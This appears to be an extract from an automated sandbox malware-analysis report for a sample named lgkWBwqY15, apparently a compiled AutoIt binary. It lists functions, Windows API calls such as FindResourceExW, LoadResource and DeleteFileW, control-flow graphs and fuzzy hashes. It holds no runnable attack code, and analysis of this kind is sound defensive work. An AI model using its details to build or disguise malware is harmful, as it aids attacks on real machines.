                                                                                      control_flow_graph 1151 5a406b-5a4083 CreateStreamOnHGlobal 1152 5a40a3-5a40a6 1151->1152 1153 5a4085-5a409c FindResourceExW 1151->1153 1154 614f16-614f25 LoadResource 1153->1154 1155 5a40a2 1153->1155 1154->1155 1156 614f2b-614f39 SizeofResource 1154->1156 1155->1152 1156->1155 1157 614f3f-614f4a LockResource 1156->1157 1157->1155 1158 614f50-614f58 1157->1158 1159 614f5c-614f6e 1158->1159 1159->1155
                                                                                      APIs
                                                                                      • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,005A449E,?,?,00000000,00000001), ref: 005A407B
                                                                                      • FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,005A449E,?,?,00000000,00000001), ref: 005A4092
                                                                                      • LoadResource.KERNEL32(?,00000000,?,?,005A449E,?,?,00000000,00000001,?,?,?,?,?,?,005A41FB), ref: 00614F1A
                                                                                      • SizeofResource.KERNEL32(?,00000000,?,?,005A449E,?,?,00000000,00000001,?,?,?,?,?,?,005A41FB), ref: 00614F2F
                                                                                      • LockResource.KERNEL32(005A449E,?,?,005A449E,?,?,00000000,00000001,?,?,?,?,?,?,005A41FB,00000000), ref: 00614F42
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                                                                      • String ID: SCRIPT
                                                                                      • API String ID: 3051347437-3967369404
                                                                                      • Opcode ID: 62345ca9880e40464351d94c9f38c4716ea30382ec64eb98ae49e96a4c4ebd25
                                                                                      • Instruction ID: 8ebb715d143ca59a199afd06bce64b2a581f06f4d37d1178757b116abbb118d9
                                                                                      • Opcode Fuzzy Hash: 62345ca9880e40464351d94c9f38c4716ea30382ec64eb98ae49e96a4c4ebd25
                                                                                      • Instruction Fuzzy Hash: BE115E70201701BFE7318B65EC48F677BBAFBC5B51F10416CF6028A250DAB1DC019A20
                                                                                      Function 005E6CA9 Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetFileAttributesW.KERNELBASE(?,00612F49), ref: 005E6CB9
                                                                                      • FindFirstFileW.KERNELBASE(?,?), ref: 005E6CCA
                                                                                      • FindClose.KERNEL32(00000000), ref: 005E6CDA
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: FileFind$AttributesCloseFirst
                                                                                      • String ID:
                                                                                      • API String ID: 48322524-0
                                                                                      • Opcode ID: 92bb275c93a1643bb0984db0d6e98498ae4682bd0a587bee64987e85536788fb
                                                                                      • Instruction ID: 637e31728655da007c83c3ce5140f42c42f689f89f1c3e48f64b5aae0b4f4424
                                                                                      • Opcode Fuzzy Hash: 92bb275c93a1643bb0984db0d6e98498ae4682bd0a587bee64987e85536788fb
                                                                                      • Instruction Fuzzy Hash: FFE0D8318109105B83246738EC0D4E93B6DFA153B9F200705F8B5C15D0E770DD1045D6
                                                                                      Function 005B3200 Relevance: 2.2, Strings: 1, Instructions: 986COMMON
                                                                                      Download Yara Rule
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: BuffCharUpper
                                                                                      • String ID: f
                                                                                      • API String ID: 3964851224-3580130387
                                                                                      • Opcode ID: 48d6b975fd6226bc5fe20f84974c8d48f360368276978d10a77781cabfd52b84
                                                                                      • Instruction ID: a5d738a28dbeae7b4cebb6c644bbc71ceeab2ddcf401d91e4d82f57926c34d0f
                                                                                      • Opcode Fuzzy Hash: 48d6b975fd6226bc5fe20f84974c8d48f360368276978d10a77781cabfd52b84
                                                                                      • Instruction Fuzzy Hash: 80927C706083419FD724DF18C494BAABBE1BF88304F18885DE99A9B392D771ED85CB52
                                                                                      Function 005AE8D0 Relevance: 49.8, APIs: 24, Strings: 4, Instructions: 816windowsleeptimeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 005AE959
                                                                                      • timeGetTime.WINMM ref: 005AEBFA
                                                                                      • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 005AED2E
                                                                                      • TranslateMessage.USER32(?), ref: 005AED3F
                                                                                      • DispatchMessageW.USER32(?), ref: 005AED4A
                                                                                      • LockWindowUpdate.USER32(00000000), ref: 005AED79
                                                                                      • DestroyWindow.USER32 ref: 005AED85
                                                                                      • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 005AED9F
                                                                                      • Sleep.KERNEL32(0000000A), ref: 00615270
                                                                                      • TranslateMessage.USER32(?), ref: 006159F7
                                                                                      • DispatchMessageW.USER32(?), ref: 00615A05
                                                                                      • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00615A19
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Message$DispatchPeekTranslateWindow$DestroyLockSleepTimeUpdatetime
                                                                                      • String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
                                                                                      • API String ID: 2641332412-570651680
                                                                                      • Opcode ID: 6b412af58a6ab8ab9188e337cefd708536fc898ddda1b83a2c561e5f9d339295
                                                                                      • Instruction ID: 7b7f87c472909444a75cd0dfeba611dee3b16f82f231d9acaef158ca51f4eae0
                                                                                      • Opcode Fuzzy Hash: 6b412af58a6ab8ab9188e337cefd708536fc898ddda1b83a2c561e5f9d339295
                                                                                      • Instruction Fuzzy Hash: 4F62C570504341DFDB24DF24C89ABEEBBE6BF85304F18496DE9468B292D771D884CB62
                                                                                      Function 005D5C78 Relevance: 47.9, APIs: 26, Strings: 1, Instructions: 626fileCOMMONLIBRARYCODE
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • ___createFile.LIBCMT ref: 005D5EC3
                                                                                      • ___createFile.LIBCMT ref: 005D5F04
                                                                                      • GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 005D5F2D
                                                                                      • __dosmaperr.LIBCMT ref: 005D5F34
                                                                                      • GetFileType.KERNELBASE(00000000,?,?,?,?,?,00000000,00000109), ref: 005D5F47
                                                                                      • GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 005D5F6A
                                                                                      • __dosmaperr.LIBCMT ref: 005D5F73
                                                                                      • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 005D5F7C
                                                                                      • __set_osfhnd.LIBCMT ref: 005D5FAC
                                                                                      • __lseeki64_nolock.LIBCMT ref: 005D6016
                                                                                      • __close_nolock.LIBCMT ref: 005D603C
                                                                                      • __chsize_nolock.LIBCMT ref: 005D606C
                                                                                      • __lseeki64_nolock.LIBCMT ref: 005D607E
                                                                                      • __lseeki64_nolock.LIBCMT ref: 005D6176
                                                                                      • __lseeki64_nolock.LIBCMT ref: 005D618B
                                                                                      • __close_nolock.LIBCMT ref: 005D61EB
                                                                                        • Part of subcall function 005CEA9C: CloseHandle.KERNELBASE(00000000,0064EEF4,00000000,?,005D6041,0064EEF4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 005CEAEC
                                                                                        • Part of subcall function 005CEA9C: GetLastError.KERNEL32(?,005D6041,0064EEF4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 005CEAF6
                                                                                        • Part of subcall function 005CEA9C: __free_osfhnd.LIBCMT ref: 005CEB03
                                                                                        • Part of subcall function 005CEA9C: __dosmaperr.LIBCMT ref: 005CEB25
                                                                                        • Part of subcall function 005C7C0E: __getptd_noexit.LIBCMT ref: 005C7C0E
                                                                                      • __lseeki64_nolock.LIBCMT ref: 005D620D
                                                                                      • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 005D6342
                                                                                      • ___createFile.LIBCMT ref: 005D6361
                                                                                      • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000109), ref: 005D636E
                                                                                      • __dosmaperr.LIBCMT ref: 005D6375
                                                                                      • __free_osfhnd.LIBCMT ref: 005D6395
                                                                                      • __invoke_watson.LIBCMT ref: 005D63C3
                                                                                      • __wsopen_helper.LIBCMT ref: 005D63DD
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: __lseeki64_nolock$ErrorFileLast__dosmaperr$CloseHandle___create$__close_nolock__free_osfhnd$Type__chsize_nolock__getptd_noexit__invoke_watson__set_osfhnd__wsopen_helper
                                                                                      • String ID: @
                                                                                      • API String ID: 3896587723-2766056989
                                                                                      • Opcode ID: 368cc4754f587a3cd81ba770593aea1e0838220ba83ea748023328db37727f25
                                                                                      • Instruction ID: 7ef0e5ffd56f44168918d9755d77fa455f6bebed8d28b8a5a67161c5b01ceec4
                                                                                      • Opcode Fuzzy Hash: 368cc4754f587a3cd81ba770593aea1e0838220ba83ea748023328db37727f25
                                                                                      • Instruction Fuzzy Hash: 4522257190060A9FEB35AFACCC49BAD7F62FB54324F24462BE5219B3D1D2358E41CB91
                                                                                      Function 005EFA0C Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 238COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      APIs
                                                                                      • _wcscpy.LIBCMT ref: 005EFA96
                                                                                      • _wcschr.LIBCMT ref: 005EFAA4
                                                                                      • _wcscpy.LIBCMT ref: 005EFABB
                                                                                      • _wcscat.LIBCMT ref: 005EFACA
                                                                                      • _wcscat.LIBCMT ref: 005EFAE8
                                                                                      • _wcscpy.LIBCMT ref: 005EFB09
                                                                                      • __wsplitpath.LIBCMT ref: 005EFBE6
                                                                                      • _wcscpy.LIBCMT ref: 005EFC0B
                                                                                      • _wcscpy.LIBCMT ref: 005EFC1D
                                                                                      • _wcscpy.LIBCMT ref: 005EFC32
                                                                                      • _wcscat.LIBCMT ref: 005EFC47
                                                                                      • _wcscat.LIBCMT ref: 005EFC59
                                                                                      • _wcscat.LIBCMT ref: 005EFC6E
                                                                                        • Part of subcall function 005EBFA4: _wcscmp.LIBCMT ref: 005EC03E
                                                                                        • Part of subcall function 005EBFA4: __wsplitpath.LIBCMT ref: 005EC083
                                                                                        • Part of subcall function 005EBFA4: _wcscpy.LIBCMT ref: 005EC096
                                                                                        • Part of subcall function 005EBFA4: _wcscat.LIBCMT ref: 005EC0A9
                                                                                        • Part of subcall function 005EBFA4: __wsplitpath.LIBCMT ref: 005EC0CE
                                                                                        • Part of subcall function 005EBFA4: _wcscat.LIBCMT ref: 005EC0E4
                                                                                        • Part of subcall function 005EBFA4: _wcscat.LIBCMT ref: 005EC0F7
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcscat$_wcscpy$__wsplitpath$_wcschr_wcscmp
                                                                                      • String ID: >>>AUTOIT SCRIPT<<<$t2e
                                                                                      • API String ID: 2955681530-2981151550
                                                                                      • Opcode ID: 91a3e27fab8f44e46ce8374c6a643602eae4093e0d9d56fa811b3716712000b8
                                                                                      • Instruction ID: 9f3a67e8e9ab5bd6a68b42b9e7166251e0b06df847ddb8d5b20c72c47804ab9c
                                                                                      • Opcode Fuzzy Hash: 91a3e27fab8f44e46ce8374c6a643602eae4093e0d9d56fa811b3716712000b8
                                                                                      • Instruction Fuzzy Hash: 14919F72504746AFCB14EB51C855F9EBBE9BF94300F00482DF98997291DB34EA44CB92
                                                                                      Function 005EBFA4 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 316fileCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      APIs
                                                                                        • Part of subcall function 005EBDB4: __time64.LIBCMT ref: 005EBDBE
                                                                                        • Part of subcall function 005A4517: _fseek.LIBCMT ref: 005A452F
                                                                                      • __wsplitpath.LIBCMT ref: 005EC083
                                                                                        • Part of subcall function 005C1DFC: __wsplitpath_helper.LIBCMT ref: 005C1E3C
                                                                                      • _wcscpy.LIBCMT ref: 005EC096
                                                                                      • _wcscat.LIBCMT ref: 005EC0A9
                                                                                      • __wsplitpath.LIBCMT ref: 005EC0CE
                                                                                      • _wcscat.LIBCMT ref: 005EC0E4
                                                                                      • _wcscat.LIBCMT ref: 005EC0F7
                                                                                      • _wcscmp.LIBCMT ref: 005EC03E
                                                                                        • Part of subcall function 005EC56D: _wcscmp.LIBCMT ref: 005EC65D
                                                                                        • Part of subcall function 005EC56D: _wcscmp.LIBCMT ref: 005EC670
                                                                                      • DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 005EC2A1
                                                                                      • DeleteFileW.KERNEL32(?,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 005EC338
                                                                                      • CopyFileW.KERNELBASE(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 005EC34E
                                                                                      • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 005EC35F
                                                                                      • DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 005EC371
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: File$Delete$_wcscat_wcscmp$__wsplitpath$Copy__time64__wsplitpath_helper_fseek_wcscpy
                                                                                      • String ID: p1ou`Kpu
                                                                                      • API String ID: 2378138488-1196383048
                                                                                      • Opcode ID: 4bab321ad46f0495b536b32b8ca30c97e863613f1ebe2f696e764be425d9a878
                                                                                      • Instruction ID: 22a8a1f26c1170c04b9a24b4831637a5ca88b62ef18d633627e722e495f11086
                                                                                      • Opcode Fuzzy Hash: 4bab321ad46f0495b536b32b8ca30c97e863613f1ebe2f696e764be425d9a878
                                                                                      • Instruction Fuzzy Hash: 66C11AB1900219AFDF25DF95CC85EDEBFBDBF89300F0080AAE649E6151DB709A458F61
                                                                                      Function 005A3F53 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53windowregistryCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      APIs
                                                                                      • GetSysColorBrush.USER32(0000000F), ref: 005A3F86
                                                                                      • RegisterClassExW.USER32(00000030), ref: 005A3FB0
                                                                                      • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 005A3FC1
                                                                                      • InitCommonControlsEx.COMCTL32(?), ref: 005A3FDE
                                                                                      • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 005A3FEE
                                                                                      • LoadIconW.USER32(000000A9), ref: 005A4004
                                                                                      • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 005A4013
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                                      • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                                                      • API String ID: 2914291525-1005189915
                                                                                      • Opcode ID: ae6495a1e56b7ba0267768dbcdd460d3fc846c301e192ccdbb285880dfba00a4
                                                                                      • Instruction ID: 68dff3b8e8d0ea4567540d175808c1f26540f070cc58cff002748f9a89847bfa
                                                                                      • Opcode Fuzzy Hash: ae6495a1e56b7ba0267768dbcdd460d3fc846c301e192ccdbb285880dfba00a4
                                                                                      • Instruction Fuzzy Hash: A621E3B5D00219AFDB10DFA4E889BCDBBB6FB09700F14621AFA11EA2A0D7B54545CF91
                                                                                      Function 005A3742 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151windowtimeregistryCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 961 5a3742-5a3762 963 5a37c2-5a37c4 961->963 964 5a3764-5a3767 961->964 963->964 965 5a37c6 963->965 966 5a37c8 964->966 967 5a3769-5a3770 964->967 968 5a37ab-5a37b3 DefWindowProcW 965->968 969 611e00-611e2e call 5a2ff6 call 5be312 966->969 970 5a37ce-5a37d1 966->970 971 5a382c-5a3834 PostQuitMessage 967->971 972 5a3776-5a377b 967->972 979 5a37b9-5a37bf 968->979 1008 611e33-611e3a 969->1008 973 5a37d3-5a37d4 970->973 974 5a37f6-5a381d SetTimer RegisterWindowMessageW 970->974 978 5a37f2-5a37f4 971->978 976 611e88-611e9c call 5e4ddd 972->976 977 5a3781-5a3783 972->977 980 5a37da-5a37ed KillTimer call 5a3847 call 5a390f 973->980 981 611da3-611da6 973->981 974->978 983 5a381f-5a382a CreatePopupMenu 974->983 976->978 1002 611ea2 976->1002 984 5a3789-5a378e 977->984 985 5a3836-5a3840 call 5beb83 977->985 978->979 980->978 987 611da8-611daa 981->987 988 611ddc-611dfb MoveWindow 981->988 983->978 991 611e6d-611e74 984->991 992 5a3794-5a3799 984->992 1003 5a3845 985->1003 995 611dcb-611dd7 SetFocus 987->995 996 611dac-611daf 987->996 988->978 991->968 998 611e7a-611e83 call 5da5f3 991->998 1000 5a379f-5a37a5 992->1000 1001 611e58-611e68 call 5e55bd 992->1001 995->978 996->1000 1004 611db5-611dc6 call 5a2ff6 996->1004 998->968 1000->968 1000->1008 1001->978 1002->968 1003->978 1004->978 1008->968 1012 611e40-611e53 call 5a3847 call 5a4ffc 1008->1012 1012->968
                                                                                      APIs
                                                                                      • DefWindowProcW.USER32(?,?,?,?), ref: 005A37B3
                                                                                      • KillTimer.USER32(?,00000001), ref: 005A37DD
                                                                                      • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 005A3800
                                                                                      • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 005A380B
                                                                                      • CreatePopupMenu.USER32 ref: 005A381F
                                                                                      • PostQuitMessage.USER32(00000000), ref: 005A382E
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                                                      • String ID: TaskbarCreated
                                                                                      • API String ID: 129472671-2362178303
                                                                                      • Opcode ID: 1e0e097f19743d5f422cbd5a3db95457727bc140fe4650ba8881c7a2e5f7a6fc
                                                                                      • Instruction ID: c1479473f2bb9efb07cf6c2933414776b135c10be746b8e3f92a3fcf6d1b39d8
                                                                                      • Opcode Fuzzy Hash: 1e0e097f19743d5f422cbd5a3db95457727bc140fe4650ba8881c7a2e5f7a6fc
                                                                                      • Instruction Fuzzy Hash: 374126F1504146ABDB245F68AC4EBBE3E57FB43305F080515FA02DA1A1CBB59F819761
                                                                                      Function 005A3E6E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66windowregistryCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      APIs
                                                                                      • GetSysColorBrush.USER32(0000000F), ref: 005A3E79
                                                                                      • LoadCursorW.USER32(00000000,00007F00), ref: 005A3E88
                                                                                      • LoadIconW.USER32(00000063), ref: 005A3E9E
                                                                                      • LoadIconW.USER32(000000A4), ref: 005A3EB0
                                                                                      • LoadIconW.USER32(000000A2), ref: 005A3EC2
                                                                                        • Part of subcall function 005A4024: LoadImageW.USER32(005A0000,00000063,00000001,00000010,00000010,00000000), ref: 005A4048
                                                                                      • RegisterClassExW.USER32(?), ref: 005A3F30
                                                                                        • Part of subcall function 005A3F53: GetSysColorBrush.USER32(0000000F), ref: 005A3F86
                                                                                        • Part of subcall function 005A3F53: RegisterClassExW.USER32(00000030), ref: 005A3FB0
                                                                                        • Part of subcall function 005A3F53: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 005A3FC1
                                                                                        • Part of subcall function 005A3F53: InitCommonControlsEx.COMCTL32(?), ref: 005A3FDE
                                                                                        • Part of subcall function 005A3F53: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 005A3FEE
                                                                                        • Part of subcall function 005A3F53: LoadIconW.USER32(000000A9), ref: 005A4004
                                                                                        • Part of subcall function 005A3F53: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 005A4013
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                                                      • String ID: #$0$AutoIt v3
                                                                                      • API String ID: 423443420-4155596026
                                                                                      • Opcode ID: 8ea683fdb3563d5685bfed23252e5bd13afd0c6b715bbbc6d59e748cbec9e90f
                                                                                      • Instruction ID: d882abf4f6b9f20714d7b2637d3d1626949251e321ae4b13a6414a82e175b92a
                                                                                      • Opcode Fuzzy Hash: 8ea683fdb3563d5685bfed23252e5bd13afd0c6b715bbbc6d59e748cbec9e90f
                                                                                      • Instruction Fuzzy Hash: 2E213DB0D00305AFCB10DFA9EC4AA9DBFF6FB4A314F14512AE614AB2A0D7B546449F91
                                                                                      Function 01036FC0 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
